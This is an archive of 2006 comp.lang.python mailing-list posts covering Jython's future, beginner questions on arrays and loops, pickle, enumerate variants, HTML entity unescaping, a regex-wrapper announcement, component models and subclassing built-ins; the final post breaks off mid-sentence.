In-Reply-To: <1160444905.404297.127410@m73g2000cwd.googlegroups.com>
References: <1160442232.144014.109470@i42g2000cwa.googlegroups.com>
	<1160444905.404297.127410@m73g2000cwd.googlegroups.com>
Message-ID: <egfirl$2be$1@sea.gmane.org>

Ray wrote:
> Sloan.Kohler at gmail.com wrote:
> 
>>Is Jython development dead or has it just seemed that way for over a
>>year?. The jython.org website has a recent new appearance (but no new
>>content) and there is some message traffic on the developer site at
>>Sourceforge.  However nothing has been released for over a year (i.e.
>>no support for Python 2.3, 2.4 or 2.5).  Is seems that IronPython may
>>have a better future than Jython.
>>
>>I know this is a bit of a troll but I'm concerned about choosing Jython
>>as the basis for a cross platform test scipt execution environment.
> 
> 
>>Does anyone know if a Jython update is imminent?
> 
> 
> There was a time when Jython walked like the dead and quacked like the
> dead but if you dared calling it dead or asking whether it was really
> dead you'd be admonished that it was open source and you should've just
> gone to the repository and hack some Jython code. (Or the ever popular
> response: that Jython 2.1 works <insert some nice-sounding adjective
> here, e.g.: beautifully, perfectly, etc.>, so why bother asking about
> 2.2 and beyond?).
> 
> Also, thankfully, it's picking up again, thanks to Frank Wierzbicki,
> et. al.--just check out the jython-dev mailing list, seems that new
> bloods are coming in. AFAIK they're trying to get a release for 2.2
> ASAP, then from there go to other versions--I think there was even a
> talk about jumping versions (e.g.: probably skipping 2.3 or something)
> somewhere in the list... I'm not sure how it was concluded though.
> Personally after 2.2 is out I think they might as well jump to 2.5
> straightaway.
> 
> So, what is your main concern here that 2.1 doesn't address? Because if
> your concern is that you're using a dead thing as your environment,
> it's rising from the dead. But if your concern is that you want to use
> features in Python 2.4 in Jython, might as well look for other
> solutions--it'll be some time before a version that supports that comes
> out.
> 
As a PSF director I might add that the Foundation has certainly tried to 
encourage onward development of Jython, and would like to continue doing 
so: it's healthy to have an ecosystem of different implementations, and 
Jython represents great visibility for Python in the Java world.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From daddyb at gmail.com  Sun Oct  8 13:54:43 2006
From: daddyb at gmail.com (Donnie Rhodes)
Date: 8 Oct 2006 10:54:43 -0700
Subject: recommendations for personal journaling application
Message-ID: <1160330083.041100.127480@e3g2000cwe.googlegroups.com>

Hi. I've been sort of standing back on the sidelines reading this list
for awhile, and this is my first posting. So a little about myself and
my skill level. My name is Bryan. I'm new to Python and have very
little experience. I've gone through a few of the tutorials. I
understand the different data-types, basic syntax, functions and
function definition, basic iteration, and calling from modules.

I might be getting ahead of myself, but I think the best way for me to
learn things is by having a goal and working towards it. My goal is to
create a personal command line journaling application. I would like to
store all the entries in one file, have them searchable by keywords,
date, topic, etc... I think I would like to use "/*" type commands. For
instance, you call the application from a terminal window and start
with a generic prompt. You would type '/ne /t "topic"' to begin a new
entry and assign the topic; '/d' to set a date. You should be able to
use the slash commands while editing as well. For instance while
writing in an entry you could isolate a phrase or word with /k "phrase
to be marked as searchable keyword" / to mark the enclosed text as a
searchable keyword/keyphrase.

So what I'm interested in is how this would work. Is this 'event
driven' in nature? Would I define the bulk of these slash commands in a
function and then call it at the end of the script? What would be a
good module to look at for the text processing and searching aspects?
Anyways, I'm not sure how you would create a program that would
"listen" for commands and then parse them accordingly. I think for
starters I will sketch out on paper the slash commands I need, and try
to break apart the general operations into pseudo code. How would you
all approach this?

Thank you all and I hope I'm not biting off too much at once...



From gagsl-py at yahoo.com.ar  Tue Oct 24 11:31:26 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Tue, 24 Oct 2006 12:31:26 -0300
Subject: Sorting by item_in_another_list
In-Reply-To: <ehkfmj$2ol$1@enyo.uwa.edu.au>
References: <mailman.1034.1161665444.11739.python-list@python.org>
	<ehkfmj$2ol$1@enyo.uwa.edu.au>
Message-ID: <7.0.1.0.0.20061024123048.05772100@yahoo.com.ar>

At Tuesday 24/10/2006 04:35, Cameron Walsh wrote:

> > c = set(B)
> > a.sort(key=c.__contains__, reverse=True)
> >
> > Tim Delaney
>
>Depressingly simple.  I like it.

...and fast!


-- 
Gabriel Genellina
Softlab SRL 

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Correo Yahoo!
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From nospam at jollans.com  Tue Oct  3 01:51:47 2006
From: nospam at jollans.com (Thomas Jollans)
Date: Tue, 3 Oct 2006 07:51:47 +0200
Subject: CGI -> mod_python
References: <1159852046.487836.266980@m7g2000cwm.googlegroups.com>
Message-ID: <efstpj$ima$03$1@news.t-online.com>

On Mon, 02 Oct 2006 22:07:26 -0700, "bernhard.heinzel at gmail.com"
<bernhard.heinzel at gmail.com> let this slip:

> Hi,
> 
> it is a kind of nooby question. Is there a way to transfer a CGI python
> script to mod_python without rewriting the code?

Not that I know of, but thanks to the WSGI (specified in PEP 333:
http://www.python.org/dev/peps/pep-0333/) you should be able to convert
your app to WSGI, which will run on mod_python, relatively easily
(depending on your code; 'print' won't work anymore)

-- 
Thomas Jollans alias free-zombie


From bignose+hates-spam at benfinney.id.au  Sun Oct 29 18:17:06 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Mon, 30 Oct 2006 10:17:06 +1100
Subject: enumerate improvement proposal
References: <zj01h.17562$TV3.14454@newssvr21.news.prodigy.com>
	<mailman.1435.1162124420.11739.python-list@python.org>
	<Jb11h.17572$TV3.6879@newssvr21.news.prodigy.com>
	<873b96bu06.fsf@benfinney.id.au>
Message-ID: <87y7qyaf0t.fsf@benfinney.id.au>

Ben Finney <bignose+hates-spam at benfinney.id.au> writes:

>     >>> print enumerate("ABCDE")
>     <enumerate object at 0xa7d642ac>
>     >>> print list(enumerate("ABCDE"))
>     [(0, 'A'), (1, 'B'), (2, 'C'), (3, 'D'), (4, 'E')]
>
>     >> def obstinate_economist_enumerate(items):
>     ...     seq = [(i+1, x) for (i, x) in enumerate(items)]
>     ...     return iter(seq)
>     ...
>     >>> print obstinate_economist_enumerate("ABCDE")
>     <listiterator object at 0xa7d6408c>
>     >>> print list(obstinate_economist_enumerate("ABCDE"))
>     [(1, 'A'), (2, 'B'), (3, 'C'), (4, 'D'), (5, 'E')]

An improvement: using a generator so as not to unnecessarily create an
intermediate list from the initial enumerator:

    >>> def obstinate_economist_enumerate(items):
    ...     enum_iter = iter((i+1, x) for (i, x) in enumerate(items))
    ...     return enum_iter
    ...
    >>> print obstinate_economist_enumerate("ABCDE")
    <generator object at 0xa7d6444c>
    >>> print list(obstinate_economist_enumerate("ABCDE"))
    [(1, 'A'), (2, 'B'), (3, 'C'), (4, 'D'), (5, 'E')]

-- 
 \      "If sharing a thing in no way diminishes it, it is not rightly |
  `\                   owned if it is not shared."  -- Saint Augustine |
_o__)                                                                  |
Ben Finney



From sp1d3rx at gmail.com  Fri Oct  6 13:39:30 2006
From: sp1d3rx at gmail.com (sp1d3rx at gmail.com)
Date: 6 Oct 2006 10:39:30 -0700
Subject: Need array help
In-Reply-To: <EkwVg.362$P92.105@trndny02>
References: <EkwVg.362$P92.105@trndny02>
Message-ID: <1160156370.412798.103610@k70g2000cwa.googlegroups.com>

Marion, I think you should start with the tutorials. To access an array
in Python, use brackets not parens. so, instead of "acctfile(ct) =
data" try "acctfile[ct] = data". The tutorials are excellent and if you
are learning from vb, you can go through them pretty quickly.



On Oct 6, 10:25 am, "Marion Long Jr" <mlon... at verizon.net> wrote:
> I am switching from microsoft visual basic programming to python
> programming. In microsoft
> visual basic you can Dim a variable so that you can add variables by
> changing the number
> on the end of the variable as in the following example;
>
> Dim acct(100)
>
> numoffiles=4
> data=10
> ct=1
> while ct <> numoffiles
> acctfile(ct) = data
> ct= ct + 1
> data= data + ct
> Wend
> The results are;
> acctfile(1)=10
> acctfile(2)=12
> acctfile(3)=15
>
> And you can compare the values of the new variables;
> if acctfile(1) > acctfile(2) then print "yes"
> if acctfile(2) > acctfile(1) then print "yes"
>
> when I try to create acctfile(ct) = data I get the following error;
> ***can't assign to function call. Then it gives the program line of the
> problem
> Here is the progam in python;
>
> numoffiles=4
> data=10
> ct=1
>
> while ct != numoffiles:
>     acctfile(ct) =data
>     ct += 1
>     data= data + ct
>     print acctfile(ct)
> 
> Does anybody know how this is done in Python?



From mccredie at gmail.com  Tue Oct 17 11:59:19 2006
From: mccredie at gmail.com (Matimus)
Date: 17 Oct 2006 08:59:19 -0700
Subject: Save/Store whole class (or another object) in a file
In-Reply-To: <1161100436.211460.198430@e3g2000cwe.googlegroups.com>
References: <1161100436.211460.198430@e3g2000cwe.googlegroups.com>
Message-ID: <1161100759.170034.254610@b28g2000cwb.googlegroups.com>

> is it possible in python (with/without matplotlib, numpy etc) to store
> a whole class with its data into a file, instead it to reconstruct
> every time again? So is there an analogous to the matlab functions
> load/save available?

look up the pickle module.



From hanumizzle at gmail.com  Sat Oct  7 03:35:26 2006
From: hanumizzle at gmail.com (hanumizzle)
Date: Sat, 7 Oct 2006 03:35:26 -0400
Subject: Subclassing built-in classes
In-Reply-To: <7.0.1.0.0.20061007031449.039efa98@yahoo.com.ar>
References: <1160048997.394218.3760@c28g2000cwb.googlegroups.com>
	<200610051700.00482.maric@aristote.info> <eg3iid$ada$1@sea.gmane.org>
	<200610061158.21402.maric@aristote.info>
	<7.0.1.0.0.20061007031449.039efa98@yahoo.com.ar>
Message-ID: <463ff4860610070035q4619b940y5c356d28e433ea3f@mail.gmail.com>

On 10/7/06, Gabriel Genellina <gagsl-py at yahoo.com.ar> wrote:
> At Friday 6/10/2006 06:58, Maric Michaud wrote:
>
> >As the first post said "...couldn't python (in theory)...", I was discussing
> >if it would be possible for python (in some future version) to manage the
> >literals so that they use the constructors in the __builtin__ module, I
> >didn't say it works actually (I'm aware it's not the case).
>
> The idea looks crazy for me... You suggest that code like this:
>
>          x = 12 + 6.0 - len('ABCD'
>
> would be evaluated at run time as it were:
>
>          x = int('12') + float('6.0') - len(str('ABCD'))
>
> Certainly would slow down the whole execution time *a*lot*, with no
> benefit for almost nobody, if *every* reference to *any* literal in
> the code calls a python function at run time.
> And unless you return *exactly* the same object as now, almost all
> code would break!
> Do you have any useful usage for this?

Sometimes I've had weird ideas that I thought might be useful, but
they turned out to be doo doo. On other occasions, the SWAG paid off
(e.g., vesa driver runs faster than accelerated via driver for
compositing in Xorg) It's all a matter of proposing and disposing, and
mistakes happen.

Somehow, I missed Python's round() function and came up with
convoluted solution involving decimal. Gee duh, Theerasak

-- Theerasak


From onurb at xiludom.gro  Wed Oct 25 07:32:16 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Wed, 25 Oct 2006 13:32:16 +0200
Subject: [0T] Re: Simple python + html + from --> to python script
In-Reply-To: <453e9176$0$8665$426a34cc@news.free.fr>
References: <1161722017.705987.78760@m7g2000cwm.googlegroups.com>
	<453e9176$0$8665$426a34cc@news.free.fr>
Message-ID: <453f4b41$0$8631$426a74cc@news.free.fr>

Bruno Desthuilliers wrote:
(snip)
> <OT topic="HTML">
(snip)
> Also, the "button" tag doesn't require a end tag.

oops ! Sorry, your syntax was ok - button elements actually requires the
end tag.

my bad :(


-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From kenneth.m.mcdonald at sbcglobal.net  Wed Oct 25 16:13:21 2006
From: kenneth.m.mcdonald at sbcglobal.net (Kenneth McDonald)
Date: Wed, 25 Oct 2006 15:13:21 -0500
Subject: Is there a python development site for putting up python libraries
	that people might be interest in working on?
Message-ID: <453FC561.5070900@sbcglobal.net>

Over the last couple of years, I've built a module called rex that lays 
on top of (and from the user's point of view, hides) the re module. rex 
offers the following advantages over re.

* Construction of re's is object oriented, and does not require any 
knowledge of re syntax.
* rex is _very good_ at combining small re's into larger re's. In fact, 
this sort of composition is almost effortless. It greatly simplifies the 
creation of complex re's, since you can build smaller re's, build test 
code for them, compose them, build test code for the composition, 
compose again, etc.
* Reading and understanding re's built with rex is much easier than 
understanding primitive re's.
* No re metacharacters are used by rex. for example, a pattern to match 
any character except a, b, or c is just
   'not CHAR("abc")' rather [^abc]. A pattern to recognize all of a, b, 
c and "^" is CHAR("^abc").
* Many useful predefined patterns are defined. For example PAT.float 
matches floating point numbers, so a simple pattern to recognize complex 
numbers is PAT.float + ALT("+", "-") + PAT.float + "i"
* The match result object returned by rex is much more flexible, and has 
many more functions than that returned by re. Commonly performed 
operations on match results can often be done with much less (and much 
clearer) code than re.

I had hoped to polish this for a 'true' 1.0 release, but it's become 
obvious to me that I won't get to do this in the foreseeable future. 
Here is the current status of the project.

* rex is already highly functional. I use it all the time, and I have 
had very few bugs emerge. The testing code is fairly comprehensive, and 
every time I do find a bug, I've put in another test case. I haven't use 
pure re's in over a year and a half.
* rex supports almost all re functionality. Backrefs and a couple of the 
new re features added in (I think) python 2.4 are not yet supported, but 
should be easy to put in.
* There are some other very useful functions I've partially implemented, 
but not finished to the point they can be used. This should be quite 
easy, I just haven't had the need.
* I'm not entirely sure the API is ideal. Some discussion is needed on this.
* Internal documentation is decent, but not great.
* Internal code is again decent, but not great.
* User's documentation is not bad, but somewhat out of date. One of the 
problems here is that rex makes use of a lot of constants, which cannot 
be documented using Python's docstrings. In addition, rex is complex 
enough that it needs an external manual or good html ref, and none of 
the multiple attempts at pure Python doc systems do this well for 
everything that is needed. Now that d'oxygen works with Python, I would 
like to redo all of the documentation in D'oxygen.
* Everything is in a single file. This should be split up.

I would like to avoid putting this up on sourceforge as I think it would 
do much better at a site aimed specifically at Python development.

Given the above, are people interested in seeing this as a project they 
might be interested in working on? And where should I created the project?

Thanks,
Ken


From bjobrien62 at gmail.com  Tue Oct 17 13:01:51 2006
From: bjobrien62 at gmail.com (SpreadTooThin)
Date: 17 Oct 2006 10:01:51 -0700
Subject: loop iterators?
Message-ID: <1161104511.877387.217410@h48g2000cwc.googlegroups.com>

Hi I need to get a for loop to give me an element from a list and an
index number...
for example:

i = 0
l = ['a','b','c']
for e in l:
   print l, i
   i = i + 1

Is there a way to get rid of the i processing in this script?
Sorry I'm still trying to learn python tricks here...



From david at boddie.org.uk  Sat Oct  7 20:23:42 2006
From: david at boddie.org.uk (David Boddie)
Date: Sun, 08 Oct 2006 02:23:42 +0200
Subject: Kde Taskbar
References: <4527a4ae@127.0.0.1> <4opp4hFft30pU1@uni-berlin.de>
Message-ID: <b9a4d$4528450e$54d1d767$6186@news.chello.no>

On Saturday 07 October 2006 15:41, Diez B. Roggisch wrote:

> pykde afaik supports systray-iconified apps. And you could use the
> dcop-mechanisms that are available as command line tools as well I
> guess, and invoke knotify.

I think DarkBlue wanted to affect the behaviour of the taskbar, though
a system tray icon might be a reasonable alternative.

> Hope this gives you some pointers - I'm currently on my mac so I can't
> provide an actual example.

I'd be interested in an example of how to use knotify via DCOP. A few
minutes at the command line looking at the DCOP interface didn't prove
particularly fruitful for me.

David


From nelson1977 at gmail.com  Tue Oct 31 06:37:22 2006
From: nelson1977 at gmail.com (nelson -)
Date: Tue, 31 Oct 2006 12:37:22 +0100
Subject: 3d programming without opengl
In-Reply-To: <ABE1h.25602$GR2.24371@tornado.texas.rr.com>
References: <mailman.1526.1162280594.11739.python-list@python.org>
	<iHD1h.25601$GR2.12249@tornado.texas.rr.com>
	<ABE1h.25602$GR2.24371@tornado.texas.rr.com>
Message-ID: <f44750160610310337u6577be0exac4ad862e2198d41@mail.gmail.com>

Hi paul,
 i look at slut and it seem very good... Can i embed it into a
wxpython application?

thanks,
 nelson


From tnleeuw at gmail.com  Sat Oct 28 13:38:48 2006
From: tnleeuw at gmail.com (Tim N. van der Leeuw)
Date: 28 Oct 2006 10:38:48 -0700
Subject: ANN: wxPython 2.7.1.3
In-Reply-To: <mailman.1411.1162055153.11739.python-list@python.org>
References: <45410281.4020302@alldunn.com>
	<8233478f0610270737tda65dabj5dffba46a12e0fea@mail.gmail.com>
	<mailman.1411.1162055153.11739.python-list@python.org>
Message-ID: <1162057128.766028.168360@k70g2000cwa.googlegroups.com>


Hendrik van Rooyen wrote:
> "Johann C. Rocholl" <johann at rocholl.net>wrote:
>
> 8<--------------------------------------
>
> > Oh, it's fun to be a speling fanatic! :-)
>
>
> six munce ago I could not even spell 'fatanic' - and now I are one...
>
> I wander what a speling fanatic is?
>

Someone who fanatically installs mod_speling every time he/she installs
Apache httpd anywhere

> - Hendrik

--Tim



From pydecker at gmail.com  Sun Oct 15 18:38:47 2006
From: pydecker at gmail.com (Peter Decker)
Date: Sun, 15 Oct 2006 18:38:47 -0400
Subject: Book about database application development?
In-Reply-To: <0001HW.C158378C00729A42F0407530@news.individual.de>
References: <0001HW.C157FA8900644D9AF0407530@news.individual.de>
	<7xlknhg2rz.fsf@ruckus.brouhaha.com>
	<0001HW.C158378C00729A42F0407530@news.individual.de>
Message-ID: <ca55a9900610151538l1a8e8fe6ybcad79f7f3790a31@mail.gmail.com>

On 10/15/06, Wolfgang Keller <wolfgang.keller.nospam at gmx.de> wrote:

> What I'm interested in is rather how to connect a GUI to a database, with
> quite a bit of application logic in between. And how to do it well.

You've described Dabo perfectly. Have you looked into it yet? It's
written by a couple of database application developers.

-- 

# p.d.


From http  Mon Oct 23 21:56:21 2006
From: http (Paul Rubin)
Date: 23 Oct 2006 18:56:21 -0700
Subject: Negative integers and string formating
References: <pan.2006.10.24.01.44.04.331823@REMOVEME.cybersource.com.au>
Message-ID: <7x64eao4sa.fsf@ruckus.brouhaha.com>

Steven D'Aprano <steve at REMOVEME.cybersource.com.au> writes:
> def display(**kwargs):
>     fs = format(kwargs['argument'])
>     return fs % kwargs

 def display(**kwargs):
     fs = format(kwargs['argument'])
     return fs % dict((x, abs(y)) for x,y in kwargs.iteritems())


From DustanGroups at gmail.com  Mon Oct 23 07:43:40 2006
From: DustanGroups at gmail.com (Dustan)
Date: 23 Oct 2006 04:43:40 -0700
Subject: Customize the effect of enumerate()?
In-Reply-To: <1161557776.637735.92650@k70g2000cwa.googlegroups.com>
References: <1161391519.145292.249510@i42g2000cwa.googlegroups.com>
	<1161557776.637735.92650@k70g2000cwa.googlegroups.com>
Message-ID: <1161603820.012427.121630@m73g2000cwd.googlegroups.com>


Simon Forman wrote:
> Dustan wrote:
> > Can I make enumerate(myObject) act differently?
> >
> > class A(object):
> > 	def __getitem__(self, item):
> > 		if item > 0:
> > 	            return self.sequence[item-1]
> > 	        elif item < 0:
> > 	            return self.sequence[item]
> > 	        elif item == 0:
> > 	            raise IndexError, "Index 0 is not valid."
> > 	        else:
> > 	            raise IndexError, "Invalid Index."
> > 	def __iter__(self): return iter(self.sequence)
>
> That final else clause is a little funny...    What kind of indices are
> you expecting that will be neither less than zero, greater than zero,
> or equal to zero?

I'm not 'expecting' anything to reach that clause, but it is a good
catch-all if I forget something or have a bug somewhere.

> > Why the funny behavior, you ask? For my class A, it doesn't make sense
> > to number everything the standard programming way. Of course, if
> > someone uses enumerate, it's going to number the items the same way as
> > ever. Is there any way to modify that behavior, any special function to
> > set? There doesn't appear to be, according to the docs, but it never
> > hurts to make sure.
>
> You can write your own enumerate function and then bind that to the
> name 'enumerate'.

Except that my program is supposed to be treated as a module with tools
to do certain things. I certainly can't control whether a 3rd party
programmer uses "import myModule" or "from myModule import *".

I haven't gotten around to doing it yet, but I'm pretty sure I'm
planning on taking Paul Rubin's course of action - make a method
(iteritems or similar) that will enumerate correctly.



From hanumizzle at gmail.com  Wed Oct 11 00:18:55 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Wed, 11 Oct 2006 00:18:55 -0400
Subject: Subclassing built-in classes
In-Reply-To: <7.0.1.0.0.20061009203930.046257a8@yahoo.com.ar>
References: <1160048997.394218.3760@c28g2000cwb.googlegroups.com>
	<200610051700.00482.maric@aristote.info> <eg3iid$ada$1@sea.gmane.org>
	<200610061158.21402.maric@aristote.info>
	<7.0.1.0.0.20061007031449.039efa98@yahoo.com.ar>
	<463ff4860610070035q4619b940y5c356d28e433ea3f@mail.gmail.com>
	<7.0.1.0.0.20061009203930.046257a8@yahoo.com.ar>
Message-ID: <463ff4860610102118r123cfe1al6b96a8b47760b65c@mail.gmail.com>

On 10/9/06, Gabriel Genellina <gagsl-py at yahoo.com.ar> wrote:
> At Saturday 7/10/2006 04:35, hanumizzle wrote:
>
> > > >As the first post said "...couldn't python (in theory)...", I
> > was discussing
> > > >if it would be possible for python (in some future version) to manage the
> > > >literals so that they use the constructors in the __builtin__ module, I
> > > >didn't say it works actually (I'm aware it's not the case).
> >Somehow, I missed Python's round() function and came up with
> >convoluted solution involving decimal. Gee duh, Theerasak
>
> Ah! So this is applicable:
> Describe the goal, not the step
> http://catb.org/~esr/faqs/smart-questions.html#goal

Believe it or not, I did look for round() but by virtue of some
strange brain fart I didn't find it until later.

-- Theerasak


From tjreedy at udel.edu  Wed Oct  4 19:55:40 2006
From: tjreedy at udel.edu (Terry Reedy)
Date: Wed, 4 Oct 2006 19:55:40 -0400
Subject: string: __iter__()?
References: <7e8bf$452385eb$506d0b9f$12642@news.chello.at>
	<68c55$45238d46$506d0b9f$12642@news.chello.at>
Message-ID: <eg1hlr$1bm$1@sea.gmane.org>


"mrquantum" <mrquantum at holon.at> wrote in message 
news:68c55$45238d46$506d0b9f$12642 at news.chello.at...
> Sorry, was to hasty by saying "... don't support the iteration
> protocol'! Sure they do, as the iter('SomeString') function or the
> construction for c in 'SomeString' show.
>
> It's just not implemented by a __iter__ method of the string in question!

I am sure this will change in 3.0 and possibly 2.x.
I believe the intention is that 'is iterable' will become the same as 'has 
__iter__()'.

tjr





From anthra.norell at vtxmail.ch  Sun Oct 29 07:29:32 2006
From: anthra.norell at vtxmail.ch (Frederic Rentsch)
Date: Sun, 29 Oct 2006 13:29:32 +0100
Subject: unescape HTML entities
In-Reply-To: <ei0add$man$1@sea.gmane.org>
References: <ei0add$man$1@sea.gmane.org>
Message-ID: <45449EAC.4070103@vtxmail.ch>

Rares Vernica wrote:
> Hi,
>
> How can I unescape HTML entities like "&nbsp;"?
>
> I know about xml.sax.saxutils.unescape() but it only deals with "&amp;", 
> "&lt;", and "&gt;".
>
> Also, I know about htmlentitydefs.entitydefs, but not only this 
> dictionary is the opposite of what I need, it does not have "&nbsp;".
>
> It has to be in python 2.4.
>
> Thanks a lot,
> Ray
>
One way is this:

 >>> import SE                                                      # 
Download from http://cheeseshop.python.org/pypi/SE/2.2%20beta
 >>> SE.SE ('HTM2ISO.se')('input_file_name', 'output_file_name')    # 
HTM2ISO.se is included
'output_file_name'

For repeated translations the SE object would be assigned to a variable:

 >>> HTM_Decoder = SE.SE ('HTM2ISO.se')

SE objects take and return strings as well as file names which is useful 
for translating string variables, doing line-by-line translations and 
for interactive development or verification. A simple way to check a 
substitution set is to use its definitions as test data. The following 
is a section of the definition file HTM2ISO.se:

test_string = '''
&oslash;=(xf8)   #  248  f8
&ugrave;=(xf9)   #  249  f9
&uacute;=(xfa)   #  250  fa
&ucirc;=(xfb)    #  251  fb
&uuml;=(xfc)     #  252  fc
&yacute;=(xfd)   #  253  fd
&thorn;=(xfe)    #  254  fe
&#233;=(xe9)
&#234;=(xea)
&#235;=(xeb)
&#236;=(xec)
&#237;=(xed)
&#238;=(xee)
&#239;=(xef)
'''

 >>> print HTM_Decoder (test_string)

?=(xf8)   #  248  f8
?=(xf9)   #  249  f9
?=(xfa)   #  250  fa
?=(xfb)    #  251  fb
?=(xfc)     #  252  fc
?=(xfd)   #  253  fd
?=(xfe)    #  254  fe
?=(xe9)
?=(xea)
?=(xeb)
?=(xec)
?=(xed)
?=(xee)
?=(xef)

Another feature of SE is modularity.

 >>> strip_tags = '''
   ~<(.|\x0a)*?>~=(9)               # one tag to one tab
   ~<!--(.|\x0a)*?-->~=(9)          # one comment to one tab
|                                   # run
   "~\x0a[ \x09\x0d\x0a]*~=(x0a)"   # delete empty lines
   ~\t+~=(32)                       # one or more tabs to one space
   ~\x20\t+~=(32)                   # one space and one or more tabs to 
one space
   ~\t+\x20~=(32)                   # one or more tab and one space to 
one space
'''

 >>> HTM_Stripper_Decoder = SE.SE (strip_tags + ' HTM2ISO.se ')   # 
Order doesn't matter

If you write 'strip_tags' to a file, say 'STRIP_TAGS.se' you'd name it 
together with HTM2ISO.se:

 >>> HTM_Stripper_Decoder = SE.SE ('STRIP_TAGS.se  HTM2ISO.se')   # 
Order doesn't matter

Or, if you have two SE objects, one for stripping tags and one for 
decoding the ampersands, you can nest them like this:

 >>> test_string = "<p class=MsoNormal 
style='line-height:110%'><i>Ren&eacute;</i> est un gar&ccedil;on qui 
para&icirc;t plus &acirc;g&eacute;. </p>"

 >>> print Tag_Stripper (HTM_Decoder (test_string))
  Ren? est un gar?on qui para?t plus ?g?.

Nesting works with file names too, because file names are returned:

 >>> Tag_Stripper (HTM_Decoder ('input_file_name'), 'output_file_name')
'output_file_name'


Frederic





From syedamjad_a at yahoo.com  Sat Oct 28 14:00:34 2006
From: syedamjad_a at yahoo.com (CSUIDL PROGRAMMEr)
Date: 28 Oct 2006 11:00:34 -0700
Subject: stripping parts of elements in a list
Message-ID: <1162058434.823541.243860@h48g2000cwc.googlegroups.com>

folks,
I am  new to python.

I have a list made of elements

['amjad\n', 'kiki\n', 'jijiji\n']
I am trying to  get rid of '\n' after each name.
 to get list as
['amjad','kiki','jijiji']

But list does not have a strip function as string does have.

is there any solutions

Is there a way this can be done??



From vatamane at gmail.com  Tue Oct 10 13:05:26 2006
From: vatamane at gmail.com (Nick Vatamaniuc)
Date: 10 Oct 2006 10:05:26 -0700
Subject: Python component model
In-Reply-To: <WvMWg.12223$UG4.9358@newsread2.news.pas.earthlink.net>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net>
	<UVDWg.12152$UG4.2954@newsread2.news.pas.earthlink.net>
	<1160467516.602655.169920@c28g2000cwb.googlegroups.com>
	<WvMWg.12223$UG4.9358@newsread2.news.pas.earthlink.net>
Message-ID: <1160499926.703733.30760@i3g2000cwc.googlegroups.com>

Edward Diener No Spam wrote:
> Nick Vatamaniuc wrote:
> > Edward Diener No Spam wrote:
> >> Michael wrote:
> >
> > Python does not _need_ a component model just as you don't _need_ a RAD
> > IDE tool to write Python code. The reason for having a component model
> > or a RAD IDE tool is to avoid writing a lot of boiler plate code.
> > Python is terse enough that boiler plate code is not needed, just type
> > what you need into an editor. It seems that you talk about Python but
> > you are still thinking in Java or C++.
>
> A RAD IDE tool to hook up components into an application or library (
> module in Python ) has nothing to do with terseness and everything to do
> with ease of programming. All you are saying is that you don't have a
> need for this, but perhaps others do. I don't mind others saying they
> have no need or seeing no benefit. But if you have ever used a visual
> design-time environment for creating applications you might feel
> differently.
>
> "Thinking in Java or C++" as opposed to Python does not mean anything to
> me as a general statement. I am well aware of the difference between
> statically and dynamically typed languages but why this should have
> anything to do with RAD programming is beyond me. Do you care to
> elucidate this distinction ?
>
> >
> > At the same time one could claim that Python already has certain
> > policies that makes it seem as if it has a component model. Take a look
> > at the "magic methods". For example if a class has a __len__ method, it
> > is possible to use the len() function on an instance of that class. If
> > a class has the  __getitem__ then indexing can be used on that class's
> > insance. Then Python has properties (see
> > http://www.python.org/doc/2.2.3/whatsnew/sect-rellinks.html).  Just by
> > inspecting the object one can tell a great deal about them (even read
> > the documentation if needed, by using the __doc__ attribute).   What
> > other standards would you propose for the core language?
>
> Python has great facilities for a component model, much better than the
> other languages I use regularly ( C++, C#, Java ). I am not arguing
> against that. A component model for RAD tools allows the tool to expose
> properties and events to the end-user at design time so that at run-time
> the properties and events are automatically setup once an object is
> instantiated. The essence of a component model for RAD programming is
> how one specifies properties and events for a class to be manipulated by
> the RAD tool at design time. Another obvious part of the component model
> is how one specifies that the properties and events one sets up at
> design-time are serialized so that at run-time they are properly set. A
> final element of a component model is the ability of a component to
> interact with the environment in which it exists at design time, through
> property editors, and at run-time, the latter being obviously more
> important for visual controls than non-visual components.

You mention properties (1), events(2) and serialization(3).

1. Python has properties. I had a link in my previous post that pointed
towards some of the features of the new classes, properties are among
them..

2. As for event models -- it seems that Python doesn't have it because
there isn't one best event model. Each application domain will have its
own "best" event model. For example an event model for a network
(distributed) application [think Twisted] will be different than an
event model of a GUI [think wxWidgets].  Implementing an observer
pattern is not that hard in Python. Events could be lists, classes or
strings or anything you desire -- it all depends on your needs. But
there isn't one best-for-all  event model out there. If there was one,
everyone would be using it by now.

3. As for serialization -- it exists in Python as well. Look up pickle,
marshaling and shelves.


The reason I said that you don't need a RAD tool in Python is because
Python itself is a RAD tool. Most of the things you mention as
necessary for RAD environment are already in Python! The ones that
aren't can just be specified by you. In other words the developers who
wrote Twisted specified a certain execution and event model and others
can write plugins for it.  What you might not have is a common and
popular visual drag-and-drop tool, but you can write it and perhaps
find others who also need it. Who knows, it might turn into a
successful project.

-N.V.



From no at spam.com  Thu Oct 19 04:51:28 2006
From: no at spam.com (Karl H.)
Date: Thu, 19 Oct 2006 01:51:28 -0700
Subject: __delitem__ affecting performance
Message-ID: <40HZg.5440$v43.381@fed1read02>

Hi,

I was performing some timing tests on a class that inherits from the 
built-in list, and got some curious results:

import timeit

class MyList(list):
     def __init__(self):
         list.__init__(self)
         self[:] = [0,0,0]

     def __delitem__(self,index):
         print 'deleting'

ml = MyList()

def test():
     global ml
     ml[0] += 0
     ml[1] += 0
     ml[2] += 0

t = timeit.Timer("test()","from __main__ import test")
print t.timeit()

 >> 4.11651382676

import timeit

class MyList(list):
     def __init__(self):
         list.__init__(self)
         self[:] = [0,0,0]

ml = MyList()

def test():
     global ml
     ml[0] += 0
     ml[1] += 0
     ml[2] += 0

t = timeit.Timer("test()","from __main__ import test")
print t.timeit()

 >> 2.23268591383

Does anybody know why defining __delitem__ is causing the code to run 
